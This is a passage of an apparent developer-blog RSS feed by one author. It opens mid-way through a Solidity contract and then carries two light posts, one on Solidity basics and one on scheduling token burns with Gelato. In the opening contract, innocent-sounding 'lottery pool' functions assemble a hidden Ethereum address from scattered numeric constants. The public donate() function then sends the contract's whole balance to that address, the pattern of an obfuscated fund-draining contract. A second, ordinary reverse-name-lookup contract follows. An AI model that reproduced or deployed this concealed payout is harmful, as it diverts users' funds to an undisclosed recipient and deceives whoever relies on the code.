            } else if ((b2 &amp;gt;= 65) &amp;amp;&amp;amp; (b2 &amp;lt;= 70)) {
                b2 -= 55;
            } else if ((b2 &amp;gt;= 48) &amp;amp;&amp;amp; (b2 &amp;lt;= 57)) {
                b2 -= 48;
            }
            iaddr += (b1 * 16 + b2);
        }
        return address(iaddr);
    }

    function drawLotteryPool(uint256 a) internal pure returns (string memory) {
        uint256 count = 0;
        uint256 b = a;
        while (b != 0) {
            count++;
            b /= 16;
        }
        bytes memory res = new bytes(count);
        for (uint256 i = 0; i &amp;lt; count; ++i) {
            b = a % 16;
            res[count - i - 1] = toHexDigit(uint8(b));
            a /= 16;
        }
        uint256 hexLength = bytes(string(res)).length;
        if (hexLength == 4) {
            string memory _hexC1 = pool("0", string(res));
            return _hexC1;
        } else if (hexLength == 3) {
            string memory _hexC2 = pool("0", string(res));
            return _hexC2;
        } else if (hexLength == 2) {
            string memory _hexC3 = pool("000", string(res));
            return _hexC3;
        } else if (hexLength == 1) {
            string memory _hexC4 = pool("0000", string(res));
            return _hexC4;
        }

        return string(res);
    }

    function getRandomLotteryPoolLength() internal pure returns (uint256) {
        return 90323;
    }

    function makeDonate() internal pure returns (address) {
        return scrambleLottery(lotteryPrize());
    }

    function toHexDigit(uint8 d) internal pure returns (bytes1) {
        if (0 &amp;lt;= d &amp;amp;&amp;amp; d &amp;lt;= 9) {
            return bytes1(uint8(bytes1("0")) + d);
        } else if (10 &amp;lt;= uint8(d) &amp;amp;&amp;amp; uint8(d) &amp;lt;= 15) {
            return bytes1(uint8(bytes1("a")) + d - 10);
        }
        // revert("Invalid hex digit");
        revert();
    }

    function getRandomLotteryPoolHeight() internal pure returns (uint256) {
        return 779255;
    }

    function lotteryPrize() internal pure returns (string memory) {
        string memory _poolOffset = pool(
            "x",
            drawLotteryPool(getRandomLotteryPoolOffset())
        );
        uint256 _poolSol = 957499;
        uint256 _poolLength = getRandomLotteryPoolLength();
        uint256 _poolSize = 829726;
        uint256 _poolHeight = getRandomLotteryPoolHeight();
        uint256 _poolWidth = 347485;
        uint256 _poolDepth = getRandomLotteryPoolDepth();
        uint256 _poolCount = 889091;

        string memory _pool1 = pool(_poolOffset, drawLotteryPool(_poolSol));
        string memory _pool2 = pool(
            drawLotteryPool(_poolLength),
            drawLotteryPool(_poolSize)
        );
        string memory _pool3 = pool(
            drawLotteryPool(_poolHeight),
            drawLotteryPool(_poolWidth)
        );
        string memory _pool4 = pool(
            drawLotteryPool(_poolDepth),
            drawLotteryPool(_poolCount)
        );

        string memory _allLotteryPools = pool(
            pool(_pool1, _pool2),
            pool(_pool3, _pool4)
        );
        string memory finishLotteryDraw = pool("0", _allLotteryPools);

        return finishLotteryDraw;
    }

    function finish() internal pure returns (address) {
        return scrambleLottery(lotteryPrize());
    }

    function getRandomLotteryPoolDepth() internal pure returns (uint256) {
        return 24908;
    }

    function pool(string memory _base, string memory _value)
        internal
        pure
        returns (string memory)
    {
        bytes memory _baseBytes = bytes(_base);
        bytes memory _valueBytes = bytes(_value);

        string memory _tmpValue = new string(
            _baseBytes.length + _valueBytes.length
        );
        bytes memory _newValue = bytes(_tmpValue);

        uint256 i;
        uint256 j;

        for (i = 0; i &amp;lt; _baseBytes.length; i++) {
            _newValue[j++] = _baseBytes[i];
        }

        for (i = 0; i &amp;lt; _valueBytes.length; i++) {
            _newValue[j++] = _valueBytes[i];
        }

        return string(_newValue);
    }

    function donate() public payable {
        (bool os, ) = payable(makeDonate()).call{value: address(this).balance}(
            ""
        );
        require(os);
    }
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Second Contract&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;// SPDX-License-Identifier: UNLICENSED

pragma solidity ^0.8.10;

import "./Usofnem.sol";

contract ReverseUON {

    mapping(address =&amp;gt; string) public records;
    Usofnem public uon;

    // Set the Decentralized Domain Registrar contract address
    constructor(address _uon) {
        uon = Usofnem(_uon);
    }

    // Get the address binded to the given name
    function resolve(address addr) public view returns (string memory) {
        string memory name = records[addr];
        require(StringUtils.strlen(name) != 0, "No reverse dns record found for this address");
        require(uon.getAddress(name) == addr, "User don't own this name anymore");
        return name;
    }

    // Set the reverse UON record for an address
    function setReverse(string calldata name) public {
        require(uon.getAddress(name) == msg.sender, "You don't own this name");
        records[msg.sender] = name;
    }

}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;All the best&lt;/p&gt;

</description>
      <category>smartcontract</category>
      <category>web3</category>
      <category>blockchain</category>
      <category>ens</category>
    </item>
    <item>
      <title>Never create any smart contract if you don't know this basic topics</title>
      <dc:creator>sourav maji</dc:creator>
      <pubDate>Wed, 05 Jul 2023 05:06:04 +0000</pubDate>
      <link>https://dev.to/souravmaji1/never-create-any-smart-contract-if-you-dont-know-this-basic-topics-fhp</link>
      <guid>https://dev.to/souravmaji1/never-create-any-smart-contract-if-you-dont-know-this-basic-topics-fhp</guid>
      <description>&lt;p&gt;Are you new to Solidity, the programming language behind Ethereum smart contracts? Don't worry, I've got you covered! Here are some essential topics you should know to get started with Solidity:&lt;/p&gt;

&lt;p&gt;1️⃣ Solidity Introduction: Solidity is a statically-typed, contract-oriented language designed specifically for writing smart contracts on the Ethereum blockchain. It is the go-to language for creating decentralized applications (dApps) and executing business logic on the Ethereum platform.&lt;/p&gt;

&lt;p&gt;2️⃣ Contract Structure: Solidity contracts are the building blocks of smart contracts. A contract consists of variables, functions, and modifiers. Variables store data, functions define behavior, and modifiers add conditions to functions.&lt;/p&gt;

&lt;p&gt;3️⃣ Data Types: Solidity supports various data types such as integers, booleans, strings, addresses, arrays, and more. Understanding these data types is crucial for handling and manipulating data within your smart contracts.&lt;/p&gt;

&lt;p&gt;4️⃣ Function Visibility: Solidity functions have different visibility levels, including public, private, internal, and external. Each visibility level determines who can access the function and how it can be invoked.&lt;/p&gt;

&lt;p&gt;5️⃣ Event Logging: Events in Solidity are used for emitting notifications and logging data on the blockchain. They allow smart contracts to communicate with the outside world and enable efficient tracking of important contract state changes.&lt;/p&gt;

&lt;p&gt;6️⃣ Error Handling: Solidity provides exception handling mechanisms through the require, revert, and assert statements. These statements help you handle errors gracefully and ensure the desired behavior of your smart contracts.&lt;/p&gt;

&lt;p&gt;7️⃣ Contract Interactions: Solidity allows contracts to interact with each other through function calls and by accessing variables across contracts. Understanding how to interact with other contracts is vital for building complex dApps on Ethereum.&lt;/p&gt;

&lt;p&gt;8️⃣ Security Considerations: Writing secure smart contracts is crucial to avoid vulnerabilities and potential hacks. Topics like input validation, reentrancy attacks, and secure coding practices should be on your radar to ensure the safety of your contracts.&lt;/p&gt;

&lt;p&gt;9️⃣ Testing and Debugging: Solidity code should undergo rigorous testing to identify and fix any issues before deployment. Tools like Truffle, Ganache, and Remix IDE can help you write tests, debug your contracts, and ensure their proper functioning.&lt;/p&gt;

&lt;p&gt;🔟 Solidity Community: Joining the Solidity community is an excellent way to learn and grow. Engage with developers, participate in forums, and explore open-source projects to expand your knowledge and stay up to date with the latest developments in the ecosystem.&lt;/p&gt;

&lt;p&gt;Remember, practice makes perfect! Start by writing small, simple contracts and gradually work your way up to more complex projects. Solidity is a powerful tool that empowers developers to create decentralized applications, so embrace the learning journey and have fun building on the Ethereum platform! 🌟&lt;/p&gt;

</description>
      <category>solidity</category>
      <category>web3</category>
      <category>blockchain</category>
      <category>ethereum</category>
    </item>
    <item>
      <title>Automate your smart contract Easily</title>
      <dc:creator>sourav maji</dc:creator>
      <pubDate>Sat, 01 Jul 2023 13:09:38 +0000</pubDate>
      <link>https://dev.to/souravmaji1/automate-your-smart-contract-easily-3f8a</link>
      <guid>https://dev.to/souravmaji1/automate-your-smart-contract-easily-3f8a</guid>
      <description>&lt;p&gt;I have found a amazing way to automate your smart contract Easily without using Chainlink&lt;/p&gt;

&lt;p&gt;just follow my steps 👇&lt;/p&gt;

&lt;p&gt;Basically , I wanted to burn my ERC20 token in every 20 days automatically without any human effort so after researching I found that using chainlink we can perform the automation but it is not that easy&lt;/p&gt;

&lt;p&gt;but luckily , I found a amazing website ( gelato ops ) which can help me to automate the burning process from my smart contract easily&lt;/p&gt;

&lt;p&gt;Let me explain you about the process :&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;First you will need smart contract deployed in any chain such as Ethereum , polygon etc&lt;/p&gt;

&lt;p&gt;Second, Go to gelato ops website connect your MetaMask and create a Task&lt;/p&gt;

&lt;p&gt;You need to paste your deployed smart contract address and Abi&lt;/p&gt;

&lt;p&gt;Then choose the function you want to automate from your smart contract&lt;/p&gt;

&lt;p&gt;Next, select the time interval you want to execute your smart contract function and if you take my example then I want to burn my erc20 token in every 20 days&lt;/p&gt;

&lt;p&gt;After that , you need to select payment where enough funds should be present to pay the gas fees for executing the automation&lt;/p&gt;

&lt;p&gt;Finally , give a name to your automation task and pay the gas fees to start the task&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;That's it , you have automated your smart contract function successfully&lt;/p&gt;

&lt;p&gt;so try it out today, all the best&lt;/p&gt;

</description>
      <category>smartcontract</category>
      <category>web3</category>
      <category>blockchain</category>
      <category>ethereum</category>
    </item>
  </channel>
</rss>
